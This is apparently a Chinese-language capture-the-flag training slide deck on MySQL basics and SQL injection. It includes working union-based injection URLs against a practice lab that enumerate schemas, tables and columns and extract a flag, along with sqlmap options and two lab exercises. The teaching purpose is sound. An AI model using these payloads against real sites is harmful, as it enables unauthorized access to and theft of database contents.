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PART 1

MYSQL基础

MySQL 是最流行的关系型数据库管理系统(数据库中的记录

是有行有列的数据库就是关系型数据库 )，在WEB应用方面

MySQL 是最好的应用软件之一。



MYSQL基础

数据库结构：

mysql数据库（ SCHEMATA ）
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MYSQL基础

SCHEMATA 表：提供了当前 mysql 中所有数据库的信息

（主要用来查询数据库名（schema_name））



MYSQL基础

TABLES 表：提供了关于数据库中的表的信息（主要用来查询数据表名 (table_name)）



MYSQL基础

COLUMNS 表：提供了表中的列信息（主要用来查询字段名（column_name））



MYSQL基础

注释

mysql 数据库的注释大概有以下几种。

• #     URL编码 %23

• -- （杠杠空格）

• /* .....  */  注释内容 /*! .... */ 



MYSQL基础

MYSQL 常用函数与参数

• =|>|>=|<=|<> 比较运算符

• and|or 逻辑运算符

• version() mysql 数据库版本

• database() 当前数据库名

• user() 用户名

• current_user() 当前用户名

• system_user() 系统用户名

• @@datadir 数据库路径

• @@versoin_compile_os 操作系统版本

• concat() 没有分隔符的连接字符串

• group_conat() 连接一个组的字符串
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SQL注入漏洞入门

SQL注入（SQL Injection）是一种常见的Web安全漏洞，攻

击者利用这个漏洞，可以访问查询或修改数据，或者利用潜在的

数据库漏洞进行攻击。



SQL注入基础

漏洞原理：

SQL注入是由于开发者在编写操作数据库代码时，直接将外部可

控的参数拼接到SQL语句中，没有经过任何过滤或过滤不严谨，导致

攻击者可以使恶意语句在数据库引擎中执行。



SQL注入基础

容易出现漏洞的地方：

SQL注入经常出现在页面链接、登陆页面、获取HTTP头、订单

处理等地方。登陆页面主要发生在HTTP头中的client-ip和x-forward

-for，这些一般用来记录登陆的ip。

在Web 应用在获取用户数据的地方，只要带入数据库查询，都

有存在SQL 注入的可能，这些地方通常包括：

• GET 数据

• POST 数据

• HTTP 头部（HTTP 请求报文其他字段）

• Cookie 数据



SQL注入基础

SQL注入漏洞危害:

• 在数据库层面可以执行权限范围内的任意操作

• 绕过身份验证机制(万能密码)

• 读取不应该读取的信息

• 修改数据库

• 数据丢失，数据库拒绝服务

• 入侵数据库所在的服务器，提权等



SQL注入基础

注入流程

由于关系型数据库系统，具有明显的库/表/列/

内容结构层次，所以我们通过SQL 注入漏洞获取数

据库中信息时候，也依据这样的顺序。

首先获取数据库名，其次获取表名，然后获取

列名，最后获取数据。



SQL注入基础

SQL 注入分为数字型和字符型。

区别：数字型注入就是说注入点的数据拼接到SQL 语句中是以数

字型出现的，即数据两边没有被单引号、双引号包括。字符型注入正

好相反。

后端sql语句

数字型： SELECT 列 FROM 表 WHERE 数字型列=   值

字符型： SELECT 列 FROM 表 WHERE 字符型列=‘值’



SQL注入基础



SQL注入基础

SQL注入点的判断

当我们变换id 参数（1，2）的时候，发现同一个页面，页面展现出不同的用户信息。也就

是说，数据库中的内容会回显到网页中来。

初步判定，id 参数会带入数据库查询，根据不同的id 查询数据库，得到不同的用户信息。

猜测后台执行的SQL 语句大致结构为：select * from table_name where id=1;



SQL注入基础

输入1.’单引号测试[?id=1’]

执行的SQL 主语则变为 select * from table_name where id=1’; 

页面报错，并且报错信息会回显在网页中，报错信息如下

会发现传入的单引号把原本已经存在的那一个左单引号闭合掉了，那多出来的那一个右单引号就出了问题

了，所以此注入点为字符型注入。



SQL注入基础

SQL注入点的判断

and 1=1 页面正常

and 1=2 页面错误

猜测后台执行的SQL 语句大致结构为：

select * from sys_article where id = 100000 and 1=1

select * from sys_article where id = 100000 and 1=2

判断：传入的字符对页面内容存在影响即可能存在注入



SQL注入基础

Union 注入

由于数据库中的内容会回显到页面中来，所以我们

可以采用联合查询进行注入。Union语句可以填充查询

结果，并且额外执行一次查询。

联合查询就是SQL 语法中的union select  语句。

该语句会同时执行两条select 语句，生成两张虚拟表，

然后把查询到的结果进行拼接。

select ~~~~ union select ~~~~  

由于虚拟表是二维结构，联合查询会“纵向”拼接，

两张虚拟的表。实现了跨库跨表查询。

必要条件

• @    两张虚拟的表具有相同的列数

• @    虚拟表对应的列的数据类型相同



SQL注入基础

Union 注入

Union语句可以填充查询结果，并且额外执行一次查询



SQL注入基础

判断字段个数

可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。

[order by]语句本意是按照某一列进行排序，在mysql 中可以使用数字

来代替具体的列名，比如[order by 1]就是按照第一列进行排序，如果mysql

没有找到对应的列，就会报错[Unknown column]。我们可以依次增加数字，

直到数据库报错。

[order by 1 --+]  

...

[order by 3 --+] 



SQL注入基础

判断字段个数

[order by 4 --+]   看到回显中的报错。

得知当前虚拟表中字段个数为3。



SQL注入基础

判断显示位置

得到字段个数之后，可以尝试构造联合查询语句。

?id=-1’ union select 10,20,40--+



SQL注入基础

查询并列出所有数据库的名称：

http://106.52.138.23:10019/Less-1/?id=-1' union select 10,20,group_concat(schema_name) 

from information_schema.schemata--+



SQL注入基础

查询并列出flag数据库的所有表名

http://106.52.138.23:10019/Less-1/?id=-1' union select 10,20,group_concat(table_name) fr

om information_schema.tables where table_schema= 'flag' --+

'flag'也可以用十六进制的flag代替0x666C6167



SQL注入基础

查询并列出flag表中的所有字段内容

http://106.52.138.23:10019/Less-1/?id=-1' union select 10,20,group_concat(column_name) 

from information_schema.columns where table_schema= 'flag' --+



SQL注入基础

查询并列出flag数据库flag表flag字段中的内容

http://106.52.138.23:10019/Less-1/?id=-1'union select 10,20,flag from flag.flag--+
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SQLMAP使用
Sqlmap是十分著名的、自动化的SQL注入工具。



SQLMAP使用

官网：http://sqlmap.org/

-u “url” 以链接检测注入点

-r  文件名 以读文件检测注入点

--dbs 列出所有数据库的名字

--current-db 列出当前数据库的名字

-D 指定一个数据库

--tables 列出表名

-T 指定表名

--columns 列出所有的字段名

-C 指定字段

http://sqlmap.org/
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SQL注入题型讲解



SQL注入题型

数字型注入：

任务描述：在数据库中藏有一个flag字符串，请你通过所学知识把flag找到出来。

Flag格式:flag{*********}。

题目地址：http://106.52.138.23:10019/Less-2/ 



SQL注入题型

sql登录框POST注入

任务描述：在数据库中藏有一个flag字符串，请你通过所学知识把flag找到出来。

Flag格式:flag{*********}。

题目地址：http://106.52.138.23:10019/Less-11/ 
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